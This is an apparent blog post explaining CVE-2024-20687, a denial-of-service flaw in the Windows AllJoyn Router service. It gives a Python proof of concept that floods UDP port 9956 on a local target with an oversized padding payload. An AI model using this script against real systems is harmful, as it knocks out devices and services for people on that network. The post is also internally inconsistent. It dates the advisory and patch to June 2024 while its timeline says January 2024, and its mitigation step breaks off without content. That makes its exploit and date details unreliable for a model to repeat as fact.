CVE-2024-20687 - Cracking the Microsoft AllJoyn API Denial of Service Vulnerability

On June 11th, 2024, Microsoft published a security advisory about CVE-2024-20687—a Denial of Service (DoS) vulnerability found in the AllJoyn API included with multiple versions of Windows. Since this has largely flown under the radar, this post breaks it down in simple terms, shows a basic PoC (Proof of Concept), and gives links for digging deeper.

What Is AllJoyn, Why Should You Care?

AllJoyn is an open-source framework Microsoft baked into Windows to support Internet of Things (IoT) communication. It lets smart devices “talk” and work together on the same network—think printers, cameras, or smart fridges. If you have Windows 10, 11, or some Windows Server editions, the AllJoyn Router service is probably running silently in the background.

TL;DR

A specific way AllJoyn handles incoming data lets an attacker send a specially-crafted network packet, which can crash the service and disrupt device communications. No code execution—just service denial. But what if you depend on smart devices running on AllJoyn? That crash could mean lights out—literally.

Component: Windows AllJoyn API (AllJoyn Router Service)

- Affected Versions: Windows 10, 11, Windows Server 2019/2022 (pre-patch)

Attack Vector

The flaw is in how the AllJoyn service parses network messages. Sending a malformed or oversized packet over the local network causes the service to hang or crash.

Exploit: Simple & Silent

You don’t need to be local admin or authenticated. You just need to be on the same subnet as the target. That’s pre-auth, local DoS—easy for an insider or even a visitor on company Wi-Fi.

Exploit Details: Proof of Concept

By sending an oversized AllJoyn message, the service can be killed, causing devices or apps relying on it to go offline. Here’s a (simplified) Python3 snippet showing how easy it is to send a bomb packet.

### Python PoC (For Research/Educational Use Only!)

import socket

# Default AllJoyn router port (TCP/UDP)
ALLJOYN_PORT = 9956

# Target: Change this to local device's IP (or scan your subnet for hosts)
target_ip = '192.168.1.5'

# Oversized payload triggers the DoS
payload = b'A' * 10000

# Try UDP first (AllJoyn supports both TCP and UDP)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target_ip, ALLJOYN_PORT))
sock.close()

print(f"Sent exploit packet to {target_ip}:{ALLJOYN_PORT}")

*Once you fire this script, the AllJoyn Router Service on the target Windows box will likely hang or crash. (Check Services for ‘AllJoyn Router Service’ after running this.)*

Warning: Don’t run this on networks you don’t own.

Repeated attacks can block device pairing or status updates

If your business depends on IoT, this is more than an annoyance.

Mitigation & Fix

Microsoft patched this issue in June 2024. Patch your systems! Or, if you don’t use AllJoyn, disable the service:

Microsoft’s Official Advisory

- Microsoft CVE-2024-20687 Advisory

Other Good References

- AllJoyn Protocol in Windows
- MSRC Update Guide - Latest Patch Info

Conclusion

CVE-2024-20687 is a textbook example of how small overlooked services can bring down bigger systems. If you use AllJoyn or OEM IoT gadgets on Windows, patch now or disable the service—don’t give guest users an easy denial of service button!

Timeline

Published on: 01/09/2024 18:15:52 UTC
Last modified on: 04/11/2024 20:15:15 UTC